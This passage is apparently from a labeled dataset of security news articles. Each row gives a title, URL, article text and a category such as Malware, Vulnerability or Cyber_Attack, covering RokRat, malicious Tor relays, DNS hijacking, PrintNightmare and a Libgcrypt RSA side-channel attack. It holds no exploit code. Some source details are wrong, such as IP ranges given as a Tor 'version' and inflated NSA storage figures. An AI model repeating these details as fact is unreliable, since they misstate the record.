The Microsoft VBA document uploaded to VirusTotal in December purported to be a meeting request dated January 23, 2020, implying that attacks took place almost a year ago.
Chief among the responsibilities of the macro embedded in the file is to inject shellcode to a Notepad.exe process that downloads the RokRat payload in encrypted format from a Google Drive URL.
RokRat — first publicly documented by Cisco Talos in 2017 — is a RAT of choice for APT37, with the group using it for a number of campaigns since 2016. A Windows-based backdoor distributed via trojanized documents, it's capable of capturing screenshots, logging keystrokes, evading analysis with anti-virtual machine detections, and leveraging cloud storage APIs such as Box, Dropbox, and Yandex.
In 2019, the cloud service-based RAT gained additional features to steal Bluetooth device information as part of an intelligence-gathering effort directed against investment and trading companies in Vietnam and Russia and a diplomatic agency in Hong Kong.
""The case we analyzed is one of the few where they did not use HWP files as their phish documents and instead used Microsoft Office documents weaponized with a self decode macro,"" the researchers concluded. ""That technique is a clever choice that can bypass several static detection mechanisms and hide the main intent of a malicious document.""

",Malware
Attackers Compromise TOR Network to De-Anonymize Users of Hidden Services,https://thehackernews.com/2014/07/attackers-compromise-tor-network-to-de.html,"A critical vulnerability in Tor — an encrypted anonymizing network considered to be one of the most privacy oriented service, which is used by online users in order to hide their activities from law enforcement, government censors and others — was probably being used to de-anonymize the identity of Tor users, Tor project warned on Wednesday.

115 MALICIOUS ToR RELAYS WERE DE-ANONYMIZING USERS
According to a security advisory, Tor Team has found a group of 115 malicious fast non-exit relays (6.4% of whole Tor network), those were actively monitoring the relays on both ends of a Tor circuit in an effort to de-anonymize users.
""While we don't know when they started doing the attack, users who operated or accessed hidden services from early February through July 4 should assume they were affected,"" Tor said.
When you use Tor anonymizing network, your IP address remains hidden and it appears that your connection is coming from the IP address of a Tor exit relay or nodes, making it very difficult for anyone — malicious actor or a government spy agency — to tell where traffic is coming from and going to.

All the identified malicous relays were running Tor version 50.7.0.0/16 or 204.45.0.0/16 for over 5 months this year. According to the team, these evil relays were trying to de-anonymize Tor users who visit and run so-called hidden services on Deep Web i.e. "".onion"".

UPGRADE TO LATEST TOR RELEASE
Tor Project leaders urged Tor relay operators to upgrade Tor software to a recent release, either 0.2.4.23 or 0.2.5.6-alpha, in order to close the critical vulnerability that was actively being exploited in the wild.

Tor team has now successfully removed all identified malicious relays from its Network and advised hidden service operators to change the location of their hidden service.

TAILS OS FLAW TO DE-ANONYMIZE USERS
Just few days back, we reported about a similar issue in TAILS OS, a privacy and security dedicated Linux-based operating system. A critical zero day vulnerability was discovered by the researcher at Exodus Intelligence that could help attackers or law enforcements to de-anonymize anyone's identity. Researcher said the flaw actually lies in the I2P software that's bundled with the Operating System.

However, Exodus Intelligence is working with the the Debian-based Linux distribution - Tails and I2P coders to get the patch soon.

RUSSIA OFFERS $114,000 FOR CRACKING ToR
Till now, Tor network was major target for U.S National Security Agency and FBI, but something quite creepy also came into limelight just after the zero-day flaws discovered in the Tails operating system.

The Russian government also wants to crack Tor anonymizing network for which it is offering almost 4 million ruble (approximately equal to $111,000) for successful exploit.

ToR FLAW RELATED TO CANCELED BLACKHAT TALK?
The vulnerability could be related (but not for sure) to the research done by Alexander Volynkin and Michael McCord from Carnegie Mellon University i.e ""Attacking Tor and de-anonymizing users"", which was originally scheduled to be delivered at Black Hat USA Conference this year. But unfortunately their talk was cancelled two weeks before, because their material had not been approved by the SEI for public release.

",Vulnerability
Unprotected Government Server Exposes Years of FBI Investigations,https://thehackernews.com/2019/01/oklahoma-fbi-data-leak.html,"A massive government data belonging to the Oklahoma Department of Securities (ODS) was left unsecured on a storage server for at least a week, exposing a whopping 3 terabytes of data containing millions of sensitive files.

The unsecured storage server, discovered by Greg Pollock, a researcher with cybersecurity firm UpGuard, also contained decades worth of confidential case files from the Oklahoma Securities Commission and many sensitive FBI investigations—all wide open and accessible to anyone without any password.

Other severe files exposed included emails, social security numbers, names, and addresses of 10,000 brokers, credentials for remote access to ODS workstations, and communications meant for the Oklahoma Securities Commission, along with a list of identifiable information related to AIDS patients.

While the researcher doesn't know exactly how long the server was open to the public, the Shodan search engine revealed that the server had been publicly open since at least November 30, 2018, almost a week after (on December 7) Pollock discovered it.

The UpGuard research team notified the ODS department the next day, and the state agency removed 'public access' to the unsecured pathway immediately after they were notified, though it is still unclear whether anyone else accessed the unsecured server.
According to the security firm, such exposure could have a ""severe impact"" on the department's network integrity.

""By the best available measures of the files' contents and metadata, the data was generated over decades, with the oldest data originating in 1986 and the most recent modified in 2016,"" a blog post published on the UpGuard website reads.

""The data was exposed via an unsecured rsync service at an IP address registered to the Oklahoma Office of Management and Enterprise Services, allowing any user from any IP address to download all the files stored on the server.""

The firm also found passwords that could have allowed hackers to remotely access the state agency's workstations, and a spreadsheet containing login information and passwords for several internet services, including popular antivirus software.

In response to the incident, the Oklahoma Securities Commission said in a press release published Wednesday that an ""accidental vulnerability"" of limited duration was discovered and immediately secured in the server and that the department is taking the issue seriously and ordered a forensic investigation.
""The Oklahoma Department of Securities (ODS) has initiated a comprehensive review of the circumstances surrounding an incident involving the inadvertent exposure of information during installation of a firewall,"" the Commission added.

""The ODS has notified law enforcement and OMES regarding the incident. A forensic team is currently conducting an analysis to determine the type and number of data files that may have been exposed and who may have accessed them.""

The Commission also said the department is also exploring remedial actions and notifications for anyone whose information may have been exposed, and reviewing internal procedures, controls and security measures to ensure such incidents can't occur in the future.

",Cyber_Attack
DHS Orders U.S. Federal Agencies to Audit DNS Security for Their Domains,https://thehackernews.com/2019/01/dns-hijacking-cyber-attacks.html,"The U.S. Department of Homeland Security (DHS) has today issued an ""emergency directive"" to all federal agencies ordering IT staff to audit DNS records for their respective website domains, or other agency-managed domains, within next 10 business days.

The emergency security alert came in the wake of a series of recent incidents involving DNS hijacking, which security researchers with ""moderate confidence"" believe originated from Iran.

Domain Name System (DNS) is a key function of the Internet that works as an Internet's directory where your device looks up for the server IP addresses after you enter a human-readable web address (e.g., thehackernews.com).

What is DNS Hijacking Attack?

DNS hijacking involves changing DNS settings of a domain, redirecting victims to an entirely different attacker-controlled server with a fake version of the websites they are trying to visit, often with an objective to steal users' data.

""The attacker alters DNS records, like Address (A), Mail Exchanger (MX), or Name Server (NS) records, replacing the legitimate address of a service with an address the attacker controls,"" the DHS advisory reads.

The threat actors have been able to do so by capturing credentials for admin accounts that can make changes to DNS records. Since the attackers obtain valid certificates for the hijacked domain names, having HTTPS enabled will not protect users.

""Because the attacker can set DNS record values, they can also obtain valid encryption certificates for an organization's domain names. This allows the redirected traffic to be decrypted, exposing any user-submitted data,"" the directive reads.

Recent DNS Hijacking Attacks Against Government Websites

Earlier this month, security researchers from Mandiant FireEye reported a series of DNS hijacking incidents against dozens of domains belonging to the government, internet infrastructure, and telecommunications entities across the Middle East and North Africa, Europe and North America.

The DHS advisory also states that the ""CISA is aware of multiple executive branch agency domains that were impacted by the tampering campaign and has notified the agencies that maintain them.""

At the end of last year, researchers at Cisco Talos also published a report of a sophisticated malware attack that compromised domain registrar accounts for several Lebanon and the United Arab Emirates (UAE) government and public sector websites.

DHS Orders Federal Agencies to Audit DNS Security for Their Domains

The DHS orders federal agencies to:
audit public DNS records and secondary DNS servers for unauthorized edits,
update their passwords for all accounts on systems that can be used to tamper DNS records,
enable multi-factor authentication to prevent any unauthorized change to their domains, and
monitor certificate transparency logs.
For those unaware, Certificate Transparency (CT) is a public service that allows individuals and companies to monitor how many digital certificates have been issued by any certificate authority secretly for their domains.

The Cyber Hygiene service of the DHS's Cybersecurity and Infrastructure Security Agency (CISA) will also begin a regular delivery of newly added certificates to CT log for US federal agency domains.

Once the CISA starts distributing these logs, government agencies are required to immediately begin monitoring their CT log data for issued certificates that they did not request. If any agency found any unauthorized certificate, it must be reported to the issuing certificate authority and the CISA.

Agencies, except the Department of Defense, the Central Intelligence Agency (CIA) and the Office of the Director of National Intelligence, have 10 days to implement the directives.

",Cyber_Attack
Starbucks' iOS app storing user credentials in plain text,https://thehackernews.com/2014/01/starbucks-ios-app-storing-user.html,"Watch out, coffee drinkers. If you are one of those 10 million Starbucks customers, who purchases drinks and food directly from their Smartphones, this news is for you!

If you use Starbucks' official iOS app, you should know that the company is not encrypting any of your information, including your password.

The app allows the Starbucks customers to check their balance, transaction history, fund transfer, and store location, etc.

A Security researcher Daniel E. Wood found a vulnerability (CVE-2014-0647) in STARTBUCKS v2.6.1. iOS mobile application, that stores your credential details and GPS locations in plain text format into the file system.

To extract the information from the mobile, an attacker just needs to connect the device to a computer and accessing 'session.clslog' file from the location given below:
/Library/Caches/com.crashlytics.data/com.starbucks.mystarbucks/session.clslog
The vulnerability, however, requires that the hacker has physical access to your phone, but a successful hack would grant the hacker access to the customer's money on the account.

If you are using your email password as the same Starbucks account password, please change it on first priority.

Without wasting time Starbucks issued a statement accepting the vulnerability in its mobile application, ""We are aware"" of the problem and that security measures have been taken to ensure that ""usernames and passwords are safe."".

""We'd like to be clear: there is no indication that any customer has been impacted by this or that any information has been compromised."" and asking its customers to report any theft or fraud occurred due to this vulnerability.

These kinds of vulnerability are caused because of novice development practices and lack of black box testing of the product developed. Companies should invest an extra bit for securing their applications which are directly linked to finance and users' personal data.

Mobile users are recommended to use strong device PINs, of over four characters and using both letters and numbers to protect data from such flaw.

",Vulnerability
U.S. based Cloud Hosting providers contribute 44% of Malware distribution,https://thehackernews.com/2014/01/us-based-cloud-hosting-providers.html,"U.S. has the top Security Agencies like NSA, FBI to tackle cyber crime and terrorism with their high profile surveillance technologies, but even after that U.S is proudly hosting 44% of the entire cloud based malware distribution.

With the enhancement in Internet technology, Cloud computing has shown the possibility of existence and now has become an essential gradient for any Internet Identity.

Cloud services are designed in such a way that it is easy to maintain, use, configure and can be scaled depending upon the requirement of the service being provided using the CLOUD technology with cost effective manner.

Due to the Easy and Cost effective alternative of traditional computing, Malware writers are using the big cloud hosting platforms to quickly and effectively serve malware to Internet users, allowing them to bypass detection and geographic blacklisting by serving from a trusted provider.

Hiding behind trusted domains and names is not something new. According to recently published SERT Q4 2013 Threat Intelligence Report, the malware distributors are using Cloud Services from Amazon, GoDaddy and Google like a legitimate customer, allowing them to infect millions of computers and vast numbers of enterprise systems.

The Cloud-based hosting services let malware distributors to avoid the detection because repeatedly changes IP addresses and domain names to avoid detection. Amazon and GoDaddy were identified as the top malware-hosting providers, with a 16 percent and a 14 percent share, respectively.
Major Additional findings include:
United States hosts 4.6 times more malware than the next leading country.
58% of malicious files obtained were identified as HTML files, 26% were directly executable.
Many malware developers and distributors are utilizing social engineering tactics, including the use of trusted keywords and services, to evade detection and increase potential infection counts.
A single malicious domain was spread across 20 countries, 67 providers and 199 unique IPs evade detection.
The SERT Research team collected a large number of samples from more than 12,000 Registrars, 22,000 ISPs (Internet Service Providers) and tested all malicious packages with more than 40 antivirus engines, output of which is concluded below:
The majority of the top malware sites is domains commonly associated with the Potentially Unwanted Applications (PUA), more commonly known as adware, type of malware distributions.
""Researchers found that a significant portion of the malware sampled consisted of Microsoft Windows 32-bit Portable Executable (PE32) files being used to distribute pay-per-install applications known as potentially unwanted applications (PUAs).""
The report claimed that these malware is undetectable from over 40 anti-virus engines, that can act as a gateway for exploits and more than half of malware found being distributed by HTML web pages.

",Malware
"Microsoft Warns of Critical ""PrintNightmare"" Flaw Being Exploited in the Wild",https://thehackernews.com/2021/07/microsoft-warns-of-critical.html,"Microsoft on Thursday officially confirmed that the ""PrintNightmare"" remote code execution (RCE) vulnerability affecting Windows Print Spooler is different from the issue the company addressed as part of its Patch Tuesday update released earlier this month, while warning that it has detected exploitation attempts targeting the flaw.
The company is tracking the security weakness under the identifier CVE-2021-34527, and has assigned it a severity rating of 8.8 on the CVSS scoring system. All versions of Windows contain the vulnerable code and are susceptible to exploitation.
""A remote code execution vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations,"" Microsoft said in its advisory. ""An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.""
""An attack must involve an authenticated user calling RpcAddPrinterDriverEx(),"" the Redmond-based firm added. When reached by The Hacker News, the company said it had nothing to share beyond the advisory.
The acknowledgment comes after researchers from Hong Kong-based cybersecurity company Sangfor published a technical deep-dive of a Print Spooler RCE flaw to GitHub, along with a fully working PoC code, before it was taken down just hours after it went up.
The disclosures also set off speculation and debate about whether the June patch does or does not protect against the RCE vulnerability, with the CERT Coordination Center noting that ""while Microsoft has released an update for CVE-2021-1675, it is important to realize that this update does NOT protect Active Directory domain controllers, or systems that have Point and Print configured with the NoWarningNoElevationOnInstall option configured.""
CVE-2021-1675, originally classified as an elevation of privilege vulnerability and later revised to RCE, was remediated by Microsoft on June 8, 2021.
The company, in its advisory, noted that PrintNightmare is distinct from CVE-2021-1675 for reasons that the latter resolves a separate vulnerability in RpcAddPrinterDriverEx() and that the attack vector is different.
As workarounds, Microsoft is recommending users to disable the Print Spooler service or turn off inbound remote printing through Group Policy. To reduce the attack surface and as an alternative to completely disabling printing, the company is also advising to check membership and nested group membership, and reduce membership as much as possible, or completely empty the groups where possible.

",Vulnerability
Indian Intelligence Agencies going to deploy Internet Surveillance project NETRA,https://thehackernews.com/2014/01/indian-intelligence-agencies-going-to.html,"Think twice before using some words like 'Bomb', 'Attack', 'Blast' or 'kill' in your Facebook status update, tweets or emails, because this may flag you as a potential terrorist under a surveillance project of Indian Security agencies.

This Indian Internet surveillance project named as NETRA (Network Traffic Analysis), capable of detecting and capture any dubious voice traffic passing through software such as Skype or Google Talk, according to the Economic Times.

In Hindi, NETRA means ""eye"" and this project is an Indian version of PRISM i.e. A spying project by US National Security Agency (NSA), that also allows the government to monitor the Internet and telephone records of citizens.
Reportedly, NETRA is under testing right now by the Indian Intelligence Bureau and Cabinet Secretariat and after on success will be deployed by all Indian National security agencies.

Centre for Artificial Intelligence and Robotics (CAIR), a lab under Defence Research and Development Organisation (DRDO) is still hardworking on 'Netra' project to give it extraordinary features like NSA's PRISM.

One of the fun fact about the project is that, NETRA is defined to use only 300 GB of storage space for storing the intercepted internet traffic... Are they serious..? HOW is it POSSIBLE? and this data will be shared with only maximum three security agencies, including the Intelligence Bureau (IB) and Cabinet Secretariat.

At this time, even I am not sure that what does they mean by ""300 GB of storage space"", but we are trying to contact DRDO guys for more further information on this matter.
Anyway, NSA has a 100,000 square foot ""mission critical data center"", where they are intercepting 1.7 billion American electronic records and communications a day, using 5 Zettabytes (1 Trillion GB) space to keep every information stored for next 500s years at least.

Also some questions arise here that:
Do they have the capability to handle and analyze such huge amount of data? (If it is not 300GB only)
Other than terrorist attacks, will they also deal with Computer Security Incidents and vulnerabilities?
What does that 300 GB of storage space mean?
The government should clear the objectives and ability of the NETRA project. Because according to the population of Internet users in India, words like 'Bomb', 'Attack', 'Blast' or 'kill' will trigger RED ALARM millions of times a day and if they don't have the capability to trace down right mischief people, rather than disturbing elements, which may purposefully divert the attention of security agencies for various means.

Another major concern is Privacy, unwarranted digital intrusions and interference with citizens' online communications.

Forbes India reported that, India has more than around 50 different laws, rules and regulations that aim to uphold privacy and confidentiality in various domains. Unfortunately, most of those policies are very dated and do not sufficiently take into account the challenges of contemporary information societies.

Do they believe that secrecy, confidentiality and, most importantly, privacy, must be sacrificed for national security? Bruce Schneier, security technologist said before,""There is no security without privacy. And liberty requires both security and privacy.""

Update:
I have more information about ""300 GB of storage space"" from my sources i.e. NETRA is a hardware device, and will be installed at ISP (Internet service provider) level on more than 1000 locations. Each location will be called as ""Node"", with 300GB of storage space. So, there are 1000 nodes x 300GB = 300,000GB of total space is initially decided to set up.

",Vulnerability
Gaza Cybergang Returns With New Attacks On Palestinian Authority,https://thehackernews.com/2018/07/gaza-palestin-hacker.html,"Security researchers from Check Point Threat Intelligence Team have discovered the comeback of an APT (advanced persistent threat) surveillance group targeting institutions across the Middle East, specifically the Palestinian Authority.

The attack, dubbed ""Big Bang,"" begins with a phishing email sent to targeted victims that includes an attachment of a self-extracting archive containing two files—a Word document and a malicious executable.

Posing to be from the Palestinian Political and National Guidance Commission, the Word document serves as a decoy to distract victims while the malware is installed in the background.

The malicious executable, which runs in the background, act as the first stage info-stealer malware designed for intelligence gathering to identify potential victims (on the basis of what is unclear as of now), and then it accordingly downloads the second stage malware designed for espionage.
""While the analysis...discloses the capabilities of the spotted malware, we are pretty sure it is part of a multi-staged attack that targets very specific victims,"" the researchers said in a blog post. ""The malware below is part of the reconnaissance stage and should lead to the main course, whose nature is still unknown.""
The malware is capable of sending a lot of information from the infected machines to the attackers' Command and Control server, including screenshots of the infected computer, a list of documents with file extensions including .doc, .odt, .xls, .ppt, .pdf and more, and logging details about the system.

Besides this, the malware also includes a few more modules to execute any file it receives from the server, enumerate running processes, terminate a running process by name, as well as send a list of partitions found on the infected machine.

The malware also includes modules to self-destruct itself by deleting the payload from the startup folder and deleting the actual file, and reboot the infected system.
""After reviewing all the malware functionalities, we are confident in saying that the attackers look for victims who answer well-defined characteristics and believe that further stages of the attack are delivered only to those who fit the specific victim profile,"" the researchers say.
Researchers believe these attacks could be related to the Gaza Cybergang APT group, an Arabic-language, politically-motivated cybercriminal group, who are operating since 2012 and targeted oil and gas organization the Middle East North African region.

However, according to the researchers, it is still not yet confirmed exactly which threat group is behind this campaign.

",Cyber_Attack
"Staysure Hacked, Credit Card details of 93,000 Customers stolen",https://thehackernews.com/2014/01/Staysure-hacked-credit-card-data-breach.html,"Staysure, a UK based Insurance company has suffered a massive data breach. More than 93,000 customers' sensitive financial data may have been compromised by unknown hackers.
We became aware of the problem on November 14, and quickly informed the relevant card issuing bodies and subsequently The Financial Conduct Authority, the Information Commissioner's Office and the Police.
The company notified that their systems have suffered cyber attack during the second half of October 2013 and Customers' Data including names, addresses, payment card details and CVV numbers has stolen.
In that attack, encrypted payment card details of customers who purchased insurance from us before May 2012 were stolen, along with CVV details and customer names and addresses. From May 2012 we ceased to store this data.
Credit card details were encrypted, but the CVV number was in the clear text, which is not good. Now this is not confirmed that their encryption implementation was secure or not. However if the payment card number is encrypted, then a hacker couldn't get the encrypted card number back so they couldn't use the CVV number anyway.
We immediately removed the software and systems that the attackers exploited, and we are confident that we are taking the right steps to protect our customers in the future.
Now any affected customers are being given free access to an identity monitoring service. The company has hired an Independent forensic data experts to fully ascertain the problem.

",Cyber_Attack
Detailed: Here's How Iran Spies on Dissidents with the Help of Hackers,https://thehackernews.com/2021/02/researchers-reveal-how-iran-spies-on.html,"Twin cyber operations conducted by state-sponsored Iranian threat actors demonstrate their continued focus on compiling detailed dossiers on Iranian citizens that could threaten the stability of the Islamic Republic, including dissidents, opposition forces, and ISIS supporters, and Kurdish natives.
Tracing the extensive espionage operations to two advanced Iranian cyber-groups Domestic Kitten (or APT-C-50) and Infy, cybersecurity firm Check Point revealed new and recent evidence of their ongoing activities that involve the use of a revamped malware toolset as well as tricking unwitting users into downloading malicious software under the guise of popular apps.
""Both groups have conducted long-running cyberattacks and intrusive surveillance campaigns which target both individuals' mobile devices and personal computers,"" Check Point researchers said in a new analysis. ""The operators of these campaigns are clearly active, responsive and constantly seeking new attack vectors and techniques to ensure the longevity of their operations.""
Despite overlaps in the victims and the kind of information amassed, the two threat actors are considered to be independently operating from one another. But the ""synergistic effect"" created by using two different sets of attack vectors to strike the same targets cannot be overlooked, the researchers said.
Domestic Kitten Mimics a Tehran Restaurant App
Domestic Kitten, which has been active since 2016, has been known to target specific groups of individuals with malicious Android apps that collect sensitive information such as SMS messages, call logs, photos, videos, and location data on the device along with their voice recordings.
Spotting four active campaigns, the most recent of which began in November 2020 according to Check Point, the APT-C-50 actor has been found to leverage a wide variety of cover apps, counting VIPRE Mobile Security (a fake mobile security application), Exotic Flowers (a repackaged variant of a game available on Google Play), and Iranian Woman Ninja (a wallpaper app), to distribute a piece of malware called FurBall.
The latest November operation is no different, which takes advantage of a fake app for Mohsen Restaurant located in Tehran to achieve the same objective by luring victims into installing the app by multiple vectors — SMS messages with a link to download the malware, an Iranian blog that hosts the payload, and even shared via Telegram channels.
Prominent targets of the attack included 1,200 individuals located in Iran, the US, Great Britain, Pakistan, Afghanistan, Turkey, and Uzbekistan, the researchers said, with over 600 successful infections reported.
Once installed, FurBall grants itself wide permissions to execute the app every time automatically on device startup and proceeds to collect browser history, hardware information, files on the external SD card, and periodically exfiltrate videos, photos, and call records every 20 seconds.
It also monitors clipboard content, gains access to all notifications received by the device, and comes with capabilities to remotely execute commands issued from a command-and-control (C2) server to record audio, video, and phone calls.
Interestingly, FurBall appears to be based on a commercially available Spyware called KidLogger, implying the actors ""either obtained the KidLogger source-code, or reverse-engineered a sample and stripped all extraneous parts, then added more capabilities.""
Infy Returns With New, Previously Unknown, Second-Stage Malware
First discovered in May 2016 by Palo Alto Networks, Infy's (also called Prince of Persia) renewed activity in April 2020 marks a continuation of the group's cyber operations that have targeted Iranian dissidents and diplomatic agencies across Europe for over a decade.
While their surveillance efforts took a beating in June 2016 following a takedown operation by Palo Alto Networks to sinkhole the group's C2 infrastructure, Infy resurfaced in August 2017 with anti-takeover techniques alongside a new Windows info-stealer called Foudre.
The group is also suggested to have ties to the Telecommunication Company of Iran after researchers Claudio Guarnieri and Collin Anderson disclosed evidence in July 2016 that a subset of the C2 domains redirecting to the sinkhole was blocked by DNS tampering and HTTP filtering, thus preventing access to the sinkhole.
Then in 2018, Intezer Labs found a new version of the Foudre malware, called version 8, that also contained an ""unknown binary"" — now named Tonnerre by Check Point that's used to expand on the capabilities of the former.
""It seems that following a long downtime, the Iranian cyber attackers were able to regroup, fix previous issues and dramatically reinforce their OPSEC activities as well as the technical proficiency and abilities of their tools,"" the researchers said.
As many as three versions of Foudre (20-22) have been uncovered since April 2020, with the new variants downloading Tonnerre 11 as the next-stage payload.
The attack chain commences by sending phishing emails containing lure documents written in Persian, that when closed, runs a malicious macro that drops and executes the Foudre backdoor, which then connects to the C2 server to download the Tonnerre implant.
Besides executing commands from the C2 server, recording sounds, and capturing screenshots, what makes Tonnerre stand out is its use of two sets of C2 servers — one to receive commands and download updates using HTTP and a second server to which the stolen data is exfiltrated via FTP.
At 56MB, Tonnerre's unusual size is also likely to work in its favor and evade detection as many vendors ignore large files during malware scans, the researchers noted.
However, unlike Domestic Kitten, only a few dozen victims were found to be targeted in this attack, including those from Iraq, Azerbaijan, the U.K., Russia, Romania, Germany, Canada, Turkey, the U.S., Netherlands, and Sweden.
""The operators of these Iranian cyber espionage campaigns seem to be completely unaffected by any counter-activities done by others, even though they were revealed and even stopped in the past — they simply don't stop,"" said Yaniv Balmas, head of cyber research at Check Point.
""These campaign operators simply learn from the past, modify their tactics, and go on to wait for a while for the storm to pass to only go at it again. Furthermore, it's worthy to note the sheer amount of resources the Iranian regime is willing to spend on exerting their control.""

",Cyber_Attack
Android vulnerability allows hackers to modify apps without breaking signatures,https://thehackernews.com/2013/07/android-vulnerability-allows-hackers-to.html,"Almost all Android handsets are vulnerable to a flaw that could allow hackers to seize control of a device to make calls, send texts, or build a mobile botnet, has been uncovered by Bluebox Security .i.e almost 900 million Android devices globally.

Or simply, The Flaw allow hackers to modify any legitimate and digitally signed application in order to transform it into a Trojan program that can be used to steal data or take control of the OS.

When an application is installed and a sandbox is created for it, Android records the application's digital signature and all subsequent updates for that application need to match its signature in order to verify that they came from the same author and anything without the signature certificate won't install or run on a user's device.

The vulnerability has existed since at least Android 1.6, which means that it potentially affects any Android device released during the last four years. Samsung's flagship Galaxy S4 has already been patched, so it is likely that manufacturers have quietly sprung into action.

Vulnerability is particularly dangerous because of the way many big-name companies have granted Android devices running on their networks additional privileges. After bypassing Android's app-signing model to take the place of such an app, rogue malware can obtain full access to Android system and all applications (and their data) currently installed.

""Depending on the type of application, a hacker can exploit the vulnerability for anything from data theft to creation of a mobile botnet,"" said Bluebox on the potential risks.

Bluebox disclosed the vulnerability to Google in February, but said that it was up to individual handset manufacturers to issue patches. Google hasn't responded to a request for comment.

However, Google has blocked distribution of apps exploiting the flaw in Google Play, although if user to is tricked into manually installing a malicious update for an app originally installed through Google Play, the app will be replaced and the new version will no longer interact with the app store.

",Malware
Microsoft Internet Explorer Universal Cross-Site Scripting Flaw,https://thehackernews.com/2015/02/internet-explorer-xss.html,"A serious vulnerability has been discovered in all the latest versions of Microsoft's Internet Explorer that allows malicious hackers to inject malicious code into users' websites and steal cookies, session and login credentials.

UNIVERSAL XSS BUG WITH SAME ORIGIN POLICY BYPASS
The vulnerability is known as a Universal Cross Site Scripting (XSS) flaw. It allows attackers to bypass the Same-Origin Policy, a fundamental browser security mechanism, in order to launch highly credible phishing attacks or hijack users' accounts on any website.

The Same Origin Policy is one of the guiding principles that seek to protect users' browsing experience. SOP actually prevents one site from accessing or modifying the browser properties, such as cookies, location, response etc, by any other site, ensuring that no third-party can inject code without the authorization of the owner of the website.

DEMONSTRATION
Recently, a proof-of-concept exploit published by a group, known as Deusen, shows how websites can violate SOP rule when someone uses supported versions of Internet Explorer running the latest patches to visit maliciously crafted pages.

In order to demonstrate the attack, the group exploits the vulnerability violating the same origin policy on the Daily Mail's website, and injects the words ""Hacked by Deusen"" on the website of the Daily Mail, which means other HTML and Javascript code can also be injected.

The exploit code appears to use iframes to tamper with IE's support of the SOP.

EVEN MORE WORSE SCENARIO
Instead of dailymail.co.uk, a cyber criminal could use a bank's website and then inject a rogue form asking the user for private financial information.

Once the attacker's code bypasses the SOP and is injected, the code has access to session cookies, and once in possession of the cookie, an attacker could access sensitive information normally restricted to the target website, including those with credit card data, browsing histories, and other confidential data.

ATTACK WORKS ON HTTPS
According to Joey Fowler, a senior security engineer at Tumblr, the attack also works if the targeted site uses encrypted HTTPS protocol for secure communication.

However, the websites can protect themselves from being targeted through this bug by using a security header called X-Frame-Options with the ""deny"" or ""same-origin"" values, which prevents other sites from loading them in iframes, Folwer noted in a mailing list thread.

MICROSOFT WORKING ON PATCH
Microsoft is working on a fix for the vulnerability, which works successfully on its Internet Explorer 11 running on both Windows 7 and Windows 8.1 operating systems.

In a statement, Microsoft said it is ""not aware of this vulnerability being actively exploited and are working on a security update."" The company also encourages customers ""to encourage customers to avoid opening links from untrusted sources and visiting untrusted sites, and to log out when leaving sites to help protect their information.""

",Vulnerability
VMware View critical directory traversal vulnerability,https://thehackernews.com/2012/12/vmware-view-critical-directory.html,"(DDI) Vulnerability Research Team (VRT) for reported a critical vulnerability in VMware View Server , that is a directory traversal vulnerability that allows an unauthenticated remote attacker to retrieve arbitrary files from affected View Servers. Exploitation of this issue may expose sensitive information stored on the server.

VMware has issued a patch for its VMware View product. It is listed as 'VMSA-2012-0017' in security advisory.


This vulnerability affects both the View Connection Server and the View Security Server; VMware recommends that customers immediately update both servers to a fixed version of View. The Common Vulnerabilities and Exposures project has assigned the name CVE-2012-5978 to this issue.

VMware's update to VMware View is available for free to license holders of the product and can be downloaded here.

Disabling the Security Server will prevent exploitation of this vulnerability over untrusted remote networks or It may be possible to prevent exploitation of this issue by blocking directory traversal attacks with an intrusion protection system or application layer firewall.

",Vulnerability
Iframe Vulnerability in Google App Engine (Appspot),https://thehackernews.com/2011/08/iframe-vulnerability-in-google-app.html,"Iframe Vulnerability in Google App Engine (Appspot)
An Indian Hacker ""Ethical Mohit"" have found in Iframe Vulnerability in Contact Desk page of Google App Engine (Appspot).
#1 Proof of Concept : Click Here
#2 Proof of Concept : Click Here
Google App Engine lets you run your web applications on Google's infrastructure. App Engine applications are easy to build, easy to maintain, and easy to scale as your traffic and data storage needs grow. With App Engine, there are no servers to maintain: You just upload your application, and it's ready to serve your users.Google App Engine makes it easy to build an application that runs reliably, even under heavy load and with large amounts of data.

",Vulnerability
Researchers Crack 1024-bit RSA Encryption in GnuPG Crypto Library,https://thehackernews.com/2017/07/gnupg-libgcrypt-rsa-encryption.html,"Security boffins have discovered a critical vulnerability in a GnuPG cryptographic library that allowed the researchers to completely break RSA-1024 and successfully extract the secret RSA key to decrypt data.

Gnu Privacy Guard (GnuPG or GPG) is popular open source encryption software used by many operating systems from Linux and FreeBSD to Windows and macOS X.

It's the same software used by the former NSA contractor and whistleblower Edward Snowden to keep his communication secure from law enforcement.

The vulnerability, labeled CVE-2017-7526, resides in the Libgcrypt cryptographic library used by GnuPG, which is prone to local FLUSH+RELOAD side-channel attack.

A team of researchers — from Technical University of Eindhoven, the University of Illinois, the University of Pennsylvania, the University of Maryland, and the University of Adelaide — found that the ""left-to-right sliding window"" method used by the libgcrypt library for carrying out the mathematics of cryptography leaks significantly more information about exponent bits than for right-to-left, allowing full RSA key recovery.

""In this paper, we demonstrate a complete break of RSA-1024 as implemented in Libgcrypt. Our attack makes essential use of the fact that Libgcrypt uses the left-to-right method for computing the sliding-window expansion,"" the researchers wrote in the research paper.

""The pattern of squarings and multiplications in left-to-right sliding windows leaks significantly more information about the exponent than right-to-left. We show how to extend the Heninger-Shacham algorithm for partial key reconstruction to make use of this information and obtain a very efficient full key recovery for RSA-1024.""

L3 Cache Side-Channel Attack requires an attacker to run arbitrary software on the hardware where the private RSA key is used.

The attack allows an attacker to extract the secret crypto key from a system by analyzing the pattern of memory utilization or the electromagnetic outputs of the device that are emitted during the decryption process.

""Thus in practice, there are easier ways to access the private keys than to mount this side-channel attack. However, on boxes with virtual machines, this attack may be used by one VM to steal private keys from another VM,"" Libgcrypt advisory reads.

Researchers have also provided evidence that the same side channel attack also works against RSA-2048, which require moderately more computation than RSA-1024.

The research paper titled, 'Sliding right into disaster: Left-to-right sliding windows leak,' was authored by Daniel J. Bernstein, Joachim Breitner, Daniel Genkin, Leon Groot Bruinderink, Nadia Heninger, Christine van Vredendaal, Tanja Lange and Yuval Yarom.

Libgcrypt has released a fix for the issue in Libgcrypt version 1.7.8. Debian and Ubuntu have already updated their library with the latest version of Libgcrypt.

So, you are strongly advised to check if your Linux distribution is running the latest version of the Libgcrypt library.

",Vulnerability
